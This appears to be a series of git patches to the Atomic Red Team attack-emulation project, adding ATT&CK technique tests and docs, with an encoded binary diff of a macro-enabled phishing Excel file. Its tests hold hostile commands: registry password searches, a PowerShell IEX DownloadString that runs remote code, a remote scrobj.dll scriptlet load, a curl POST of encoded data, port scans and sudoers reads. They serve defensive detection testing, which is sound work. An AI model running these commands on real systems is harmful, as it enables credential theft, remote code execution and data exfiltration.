zrBs>*3rjL4+Rm`hers>G))v}+RVMk^os=eUo-Cead;eA9827Ylx0MCO_?=Jckwt*P zU+XBnZc%?*+wEE6Nn!Nn3W7Vcvg|v$Zw&ohjSblxfjEKtlM2UW`bmXVFy1Gs$)QJD z-Lo*C!6j3Cy_@-G``!4}SWg{z3XW*0OS9+!9#nYLyl7t74c;H+bPj)~Q=tig{&{wP z-j&1~6Jqtt7YmQ%o7d)UlKS?nd&Q1BjDKdj zRd@E7AkukKg9S`EV{V;3yjKIRW(XAK7X}LHY&E?`_fsBD7tIMY)1+{VpkH11srRwy z(A=N2cI;!KUSRSa=y+9y#TQ5JvTBCa&>b6yb9|AdpAEOFARQ>@Z)lS@(utx*`bTpJ zJ7WGN$+Vo@SNw4zW+bOVj5oW(nsG73ITX#?q$r$yGv?hhq!y$ovGM9NpQAAKLG;S(uQJHP< z2P+F3yA(mT2f15o7-hbVMF9rU9)|u%ie4|eYTYLuS8WqY-*n}6Ycp}$Gqsp1Dn`Q4 zTQ%=0B1GpnSL|&+X+pTRsrctjPOAJbV*L`QOuy*y$NbaB`TiFB$aRE7T%v?AKFL4a zYk_#SiNZvYNKjy)lm37>HX#sf&C7uHmbRvfmG(Bk*Br^>FLlN{e1ay|gg*CCpj@NE zfYEEKH=fV0cp{j+J6L)u3ai|Y2%_IeMetBa@sz}UBBc*jk_@qPn@Icg%# zuIaNtUE%MrKH__I>7vc`_$(K|-7MX2-y_~reL53|z6nS6-W#!`Uco@tLakSEwjd%{ zk;yf{4{dS*q#|8$cx>@t#(=je_c1$%FKnzkJ;v{DWm1aYcnhIGc{9El z7|<;6FLppPYPassE-v<-fk_^_d$~G7xI0WZ0z$yd@b6>hPXn?dU!JXImv&c|8`1R5 z!$duUkrOH!Gb6Oa-6+J7{G8{SrUuSvAoEqcLNq1ux;1fT!oXF2RkPd{B8CT;oTins zF)))h=#vkJxmsz95!{CEuwknCyJ(*$EMAhn)w3nQN9#q^Yf2VHJNBNxBb)!LZPaDR zxj&UKTH9lW`Zoo)abD$qYoKVwWcAFvW=&vrx}2AROyFHkr=ri?;+Lnz&Cd2GVm*LV zPl?+)9ib@i3`Zew)Nh2em(|C#L$w$lTiSSs+R7u8-d@m;X|cHKXXbi3OpSYC%V*`- zFo5@Z-rc%e)Zx&^zn(D*vrQ3F)Z6hR?sWE~Q*GtM=0x_vhy_h|T;c9}=8NV!7sAw> z*~))SaJQL%GklU{+nAXO&8)!T1!nhaszysxXD{ry7j)}!sAzpp^dy_;B{D=7#Z}!J z%64%|wC4-0{gm<4>FP)qtqGdV8IST-KS}zY1}&H(h`%BoSS-RGl|8fNX@DYMz!YWP z56&LU3@`YP+8Q+&7+Fv?Cs6^D^1HfJDwi@*$f*ddj^r-^uU_-A}ITS0D^M*fM1@_TUUMm+_W^X-_WCpyM`YmsCP|C@imUfFgo z1_{c_!Q2DMQ|_AfNiF8Yw42oc?xJKeR^F)X^*@?Cy~1)9S@QaBW3F7W-6(H}rIUZy zL#fc*J>0`-)S#G&p_C87PYPdxm#_R;@7K?7{l6aIi6Qm*VMX5ozTY+n@?FX4&oKDS z7V6&>vn^FTrJSaG>l!dojs3l8$-X-bR<=D(-IwU(z%gZ0K zt#OokRD7tY{5+x;$@+T93tyhc+eD-^d_O73b%O`pD7fpy5wO?jVhLWtWBUUUe~FqE3z zUBefi+uqqV4bLd5{;5Xb2Q9xVF(I$D;)@G4)w|+9A21-zFGl{n-KD zM9iA?>{u6G5%Lg3dG+j<0#%e(Y$_Y+Y9x8V?zy>f>t3s7_KQEPcy>C^H4QirEEiy;u~~pZ(A|pV za1`@NmDVDb+T$}}OE$shZ@(5Di?TTz`>jZXXCUcT1gDCye7@|DUU+wkf>iRlvU$W}-jC0(3MF z6~Vt<{~g909<}RywEuzmLHlYz-}*)Hj0|YH|5fb!uE-aVasCZQT@Ij~|5kaMW9jc3 z_&hF%0r_3Nv#?s3m}EsC%mlrQN6RkAKn!deJ`OoP*@P4Wc`5; z$o+kM8Ws5S_5SnWP@DWcv~?vg@@pggaEo;O9}uV${7~^$fPB1*b@b5}&-knQVWIoR zk=ps|lloTi6aYW+gAd00`;zbjVER<~P>^`$czgfdu=C3R1O2_^{<@v}aj=Gh{U(3; u1yYm&20{BjGW!3|OaF&V|0kmVi~oOmT2TfZ;(ue{|4jJ5%)s}*>i+?t(YQ4L diff --git a/atomics/T1193/T1193.yaml b/atomics/T1193/T1193.yaml index 985a8b48..928f5e13 100644 --- a/atomics/T1193/T1193.yaml +++ b/atomics/T1193/T1193.yaml @@ -5,7 +5,9 @@ display_name: Spearphishing Attachment atomic_tests: - name: Download Spearphishing Attachment description: | - Downloads simple macro-enabled excel file. + The macro-enabled Excel file contains a script which makes a PowerShell webrequest to google. The PowerShell script + below will successfully download the macro-enabled Excel file, but the file will be corrupted, I'm not sure why + this error is happening, but I wanted to at least get the Excel file for anyone who needs to use it. supported_platforms: - windows From 6d413347649ff1c12235cd6898109905e4dc8c5e Mon Sep 17 00:00:00 2001 From: Swelc Date: Sun, 1 Jul 2018 00:56:08 -0500 Subject: [PATCH 70/91] Added T1214 --- atomics/T1214/T1214.yaml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 atomics/T1214/T1214.yaml diff --git a/atomics/T1214/T1214.yaml b/atomics/T1214/T1214.yaml new file mode 100644 index 00000000..70d61d14 --- /dev/null +++ b/atomics/T1214/T1214.yaml @@ -0,0 +1,17 @@ +--- +attack_technique: T1214 +display_name: Credentials in Registry + +atomic_tests: +- name: Enumeration for Credentials in Registry + description: | + Queries to enumerate for credentials in the Registry. + + supported_platforms: + - windows + + executor: + name: command_prompt + command: | + reg query HKLM /f password /t REG_SZ /s + reg query HKCU /f password /t REG_SZ /s From 6063e0efac81b0b40c19f56d8b1188eb612083c5 Mon Sep 17 00:00:00 2001 From: Swelc Date: Sun, 1 Jul 2018 14:50:26 -0500 Subject: [PATCH 71/91] Added T1062 --- atomics/T1062/T1062.yaml | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 atomics/T1062/T1062.yaml diff --git a/atomics/T1062/T1062.yaml b/atomics/T1062/T1062.yaml new file mode 100644 index 00000000..d0436626 --- /dev/null +++ b/atomics/T1062/T1062.yaml @@ -0,0 +1,34 @@ +--- +attack_technique: T1062 +display_name: Hypervisor + +atomic_tests: +- name: Installing Hyper-V Feature + description: | + PowerShell command to check if Hyper-v is installed . + Install Hyper-V feature. + Create a New-VM + + supported_platforms: + - windows + + input_arguments: + hostname: + description: Host to query to see if Hyper-V feature is installed. + type: string + default: test-vm + vm_name: + description: Create a new VM. + type: string + default: testvm + file_location: + description: Location of new VHDX file + type: string + default: C:\Temp\test.vhdx + + executor: + name: powershell + command: | + Get-WindowsFeature -Name Hyper-V -ComputerName #{hostname} + Install-WindowsFeature -Name Hyper-V -ComputerName #{hostname} -IncludeManagementTools + New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480 From 92d00161597f02aad3d462c818a2ee9004eb629a Mon Sep 17 00:00:00 2001 From: Swelc Date: Sun, 1 Jul 2018 17:35:37 -0500 Subject: [PATCH 72/91] Added T1049 System Network Connections Discovery --- atomics/T1049/T1049.yaml | 50 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 atomics/T1049/T1049.yaml diff --git a/atomics/T1049/T1049.yaml b/atomics/T1049/T1049.yaml new file mode 100644 index 00000000..0f5e6d77 --- /dev/null +++ b/atomics/T1049/T1049.yaml @@ -0,0 +1,50 @@ +--- +attack_technique: T1049 +display_name: System Network Connections Discovery + +atomic_tests: +- name: System Network Connections Discovery + description: | + Get a listing of network connections. + + supported_platforms: + - windows + + input_arguments: + output_file: + description: TODO + type: todo + default: TODO + + executor: + name: command_prompt + command: | + netstat + net use + net sessions + +- name: System Network Connections Discovery with PowerShell + description: | + Get a listing of network connections. + + supported_platforms: + - windows + + executor: + name: powershell + command: | + Get-NetTCPConnection + +- name: System Network Connections Discovery Linux & MacOS + description: | + Get a listing of network connections. + + supported_platforms: + - linux + - macos + + executor: + name: sh + command: | + netstat + who -a \ No newline at end of file From 912b84d2e6aa4ed3f3282029b4b031e656ce9bdc Mon Sep 17 00:00:00 2001 From: Swelc Date: Sun, 1 Jul 2018 20:14:29 -0500 Subject: [PATCH 73/91] Add T1126 removing network shares --- atomics/T1126/T1126.yaml | 42 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 atomics/T1126/T1126.yaml diff --git a/atomics/T1126/T1126.yaml b/atomics/T1126/T1126.yaml new file mode 100644 index 00000000..f8ec355c --- /dev/null +++ b/atomics/T1126/T1126.yaml @@ -0,0 +1,42 @@ +--- +attack_technique: T1126 +display_name: Remove Network Share + +atomic_tests: +- name: Remove Network Share + description: | + Removes a Network Share utilizing the command_prompt + + supported_platforms: + - windows + + input_arguments: + share_name: + description: Share to remove. + type: string + default: \\test\share + + executor: + name: command_prompt + command: | + net share #{share_name} /delete + +- name: Remove Network Share PowerShell + description: | + Removes a Network Share utilizing PowerShell + + supported_platforms: + - windows + + input_arguments: + share_name: + description: Share to remove. + type: string + default: \\test\share + + executor: + name: powershell + command: | + Remove-SmbShare -Name #{share_name} + Remove-FileShare -Name #{share_name} + From 6fec5c6ef6fde9b12d44a9deacd52440ff9fe819 Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 2 Jul 2018 20:26:16 -0500 Subject: [PATCH 74/91] Fixed URL for PowerShell download. --- atomics/T1193/T1193.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1193/T1193.yaml b/atomics/T1193/T1193.yaml index 928f5e13..f4fe298a 100644 --- a/atomics/T1193/T1193.yaml +++ b/atomics/T1193/T1193.yaml @@ -16,4 +16,4 @@ atomic_tests: name: powershell command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - Invoke-WebRequest -Uri https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/PhishingInvoice.xlsm -OutFile PhishingInvoice.xlsm + Invoke-WebRequest -Uri https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/PhishingInvoice.xlsm?raw=true -OutFile PhishingInvoice.xlsm From 16e48bb1b02889bf3264c1abe34de3d09f868df3 Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 2 Jul 2018 20:50:37 -0500 Subject: [PATCH 75/91] Added additional Port Scanning options and cleaned up existing. --- atomics/T1046/T1046.yaml | 33 +++++++++++++++++++++++++++++++-- 1 file changed, 31 insertions(+), 2 deletions(-) diff --git a/atomics/T1046/T1046.yaml b/atomics/T1046/T1046.yaml index e4570819..edae7b32 100644 --- a/atomics/T1046/T1046.yaml +++ b/atomics/T1046/T1046.yaml @@ -3,9 +3,9 @@ attack_technique: T1046 display_name: Network Service Scanning atomic_tests: -- name: Scan a bunch of ports to see if they are open +- name: Port Scan description: | - xxx + Scan ports to check for listening ports supported_platforms: - linux - macos @@ -16,3 +16,32 @@ atomic_tests: do echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ; done + +- name: Port Scan Nmap + description: | + Scan ports to check for listening ports with Nmap. + + supported_platforms: + - linux + - macos + + input_arguments: + network_range: + description: Network Range to Scan. + type: string + default: 192.168.1.0/24 + port: + description: Ports to scan. + type: string + default: 80 + host: + description: Host to scan. + type: string + default: 192.168.1.1 + + executor: + name: sh + command: | + nmap -sS #{network_range} -p #{port} + telnet #{host} #{port} + nc -nv #{host} #{port} From 53a4ed1921bfa321c56a396424b36877cb725013 Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 2 Jul 2018 21:06:57 -0500 Subject: [PATCH 76/91] Added SUDO enumeration --- atomics/T1169/T1169.yaml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 atomics/T1169/T1169.yaml diff --git a/atomics/T1169/T1169.yaml b/atomics/T1169/T1169.yaml new file mode 100644 index 00000000..79358a9b --- /dev/null +++ b/atomics/T1169/T1169.yaml @@ -0,0 +1,20 @@ +--- +attack_technique: T1169 +display_name: SUDO + +atomic_tests: +- name: Sudo usage + description: | + Common Sudo enumeration methods. + + supported_platforms: + - macos + - linux + + executor: + name: sh + command: | + sudo -l + sudo su + cat /etc/sudoers + vim /etc/sudoers From fda57a086be0d1cfb8b5cfd652f12399e72e5df7 Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 2 Jul 2018 21:39:25 -0500 Subject: [PATCH 77/91] T1132 Base64 Encoded Data --- atomics/T1132/T1132.yaml | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 atomics/T1132/T1132.yaml diff --git a/atomics/T1132/T1132.yaml b/atomics/T1132/T1132.yaml new file mode 100644 index 00000000..246f67a8 --- /dev/null +++ b/atomics/T1132/T1132.yaml @@ -0,0 +1,28 @@ +--- +attack_technique: T1132 +display_name: Data Encoding + +atomic_tests: +- name: Base64 Encoded data. + description: | + Utilizing a common technique for posting base64 encoded data. + + supported_platforms: + - macos + - linux + + input_arguments: + destination_url: + description: Destination URL to post encoded data. + type: string + default: redcanary.com + base64_data: + description: Encoded data to post using fake Social Security number 111-11-1111. + type: string + default: MTExLTExLTExMTE= + + executor: + name: sh + command: | + echo -n 111-11-1111 | base64 + curl -XPOST #{base64_data}.#{destination_url} From e61f02b1192c8a6706b1272d45b93a3b268e51b8 Mon Sep 17 00:00:00 2001 From: Swelc Date: Tue, 3 Jul 2018 21:00:20 -0500 Subject: [PATCH 78/91] Removed unneeded inputs --- atomics/T1049/T1049.yaml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/atomics/T1049/T1049.yaml b/atomics/T1049/T1049.yaml index 0f5e6d77..3019f21d 100644 --- a/atomics/T1049/T1049.yaml +++ b/atomics/T1049/T1049.yaml @@ -10,12 +10,6 @@ atomic_tests: supported_platforms: - windows - input_arguments: - output_file: - description: TODO - type: todo - default: TODO - executor: name: command_prompt command: | From ed67e823bae5e3fa44233d654ce65435ef87be7e Mon Sep 17 00:00:00 2001 From: Austin Robertson Date: Fri, 6 Jul 2018 13:25:46 -0500 Subject: [PATCH 79/91] fix T1191 scrobj.dll sct url --- atomics/T1191/T1191.inf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1191/T1191.inf b/atomics/T1191/T1191.inf index 17bca1c1..9723e9a1 100644 --- a/atomics/T1191/T1191.inf +++ b/atomics/T1191/T1191.inf @@ -8,7 +8,7 @@ AdvancedINF=2.5 UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] -%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomics/T1191/T1191.sct +%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1191/T1191.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" From c33e02c545af565d5f34ad53b44fd1d490b40896 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 18:32:14 +0000 Subject: [PATCH 80/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1074/T1074.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1074/T1074.md b/atomics/T1074/T1074.md index a6e45ac2..f6f81835 100644 --- a/atomics/T1074/T1074.md +++ b/atomics/T1074/T1074.md @@ -27,6 +27,6 @@ Utilize powershell to download discovery.bat and save to a local file #### Run it with `powershell`! ``` -powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat')" > c:\windows\pi.log +powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log ```
    From 151a1edfa9951d1fb4818877b2217bd7ba29c5d0 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 18:33:16 +0000 Subject: [PATCH 81/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1124/T1124.md | 25 +++++++++++++++++++++++-- atomics/index.md | 3 ++- atomics/windows-index.md | 3 ++- 3 files changed, 27 insertions(+), 4 deletions(-) diff --git a/atomics/T1124/T1124.md b/atomics/T1124/T1124.md index e4abe678..bfb9e5e0 100644 --- a/atomics/T1124/T1124.md +++ b/atomics/T1124/T1124.md @@ -14,12 +14,33 @@ Permissions Required: User ## Atomic Tests -- [Atomic Test #1 - System Time Discovery - PowerShell](#atomic-test-1---system-time-discovery---powershell) +- [Atomic Test #1 - System Time Discovery](#atomic-test-1---system-time-discovery) + +- [Atomic Test #2 - System Time Discovery - PowerShell](#atomic-test-2---system-time-discovery---powershell)
    -## Atomic Test #1 - System Time Discovery - PowerShell +## Atomic Test #1 - System Time Discovery +Identify the system time + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| computer_name | computer name to query | string | computer1| + +#### Run it with `command_prompt`! +``` +net time \\${computername} +w32tm /tz +``` +
    +
    + +## Atomic Test #2 - System Time Discovery - PowerShell Identify the system time via PowerShell **Supported Platforms:** Windows diff --git a/atomics/index.md b/atomics/index.md index 0aa562d9..f0314838 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -369,7 +369,8 @@ - [T1007 System Service Discovery](./T1007/T1007.md) - Atomic Test #1: System Service Discovery [windows] - [T1124 System Time Discovery](./T1124/T1124.md) - - Atomic Test #1: System Time Discovery - PowerShell [windows] + - Atomic Test #1: System Time Discovery [windows] + - Atomic Test #2: System Time Discovery - PowerShell [windows] # credential-access - [T1098 Account Manipulation](./T1098/T1098.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 253705e4..e088c6bb 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -247,7 +247,8 @@ - [T1007 System Service Discovery](./T1007/T1007.md) - Atomic Test #1: System Service Discovery [windows] - [T1124 System Time Discovery](./T1124/T1124.md) - - Atomic Test #1: System Time Discovery - PowerShell [windows] + - Atomic Test #1: System Time Discovery [windows] + - Atomic Test #2: System Time Discovery - PowerShell [windows] # credential-access - [T1098 Account Manipulation](./T1098/T1098.md) From f528410b7611ab6b6d8975860eba5865ce37e405 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 18:34:03 +0000 Subject: [PATCH 82/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1193/T1193.md | 35 +++++++++++++++++++++++++++++++++++ atomics/index.md | 3 ++- atomics/linux-index.md | 2 +- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 2 +- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 3 ++- atomics/windows-matrix.md | 2 +- 9 files changed, 45 insertions(+), 8 deletions(-) create mode 100644 atomics/T1193/T1193.md diff --git a/atomics/T1193/T1193.md b/atomics/T1193/T1193.md new file mode 100644 index 00000000..70875273 --- /dev/null +++ b/atomics/T1193/T1193.md @@ -0,0 +1,35 @@ +# T1193 - Spearphishing Attachment +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1193) +

    Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. + +There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. + +Detection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + +Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting. + +Platforms: Linux, Windows, macOS + +Data Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway
    + +## Atomic Tests + +- [Atomic Test #1 - Download Spearphishing Attachment](#atomic-test-1---download-spearphishing-attachment) + + +
    + +## Atomic Test #1 - Download Spearphishing Attachment +The macro-enabled Excel file contains a script which makes a PowerShell webrequest to google. The PowerShell script +below will successfully download the macro-enabled Excel file, but the file will be corrupted, I'm not sure why +this error is happening, but I wanted to at least get the Excel file for anyone who needs to use it. + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 +Invoke-WebRequest -Uri https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/PhishingInvoice.xlsm?raw=true -OutFile PhishingInvoice.xlsm +``` +
    diff --git a/atomics/index.md b/atomics/index.md index f0314838..7a6250d3 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -593,7 +593,8 @@ - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) + - Atomic Test #1: Download Spearphishing Attachment [windows] - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 70b68d79..d640507d 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -209,7 +209,7 @@ - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index 7f88902a..b90e2764 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -4,7 +4,7 @@ | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index eef0f6c3..4113417d 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -251,7 +251,7 @@ - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 5f700815..a0148215 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -4,7 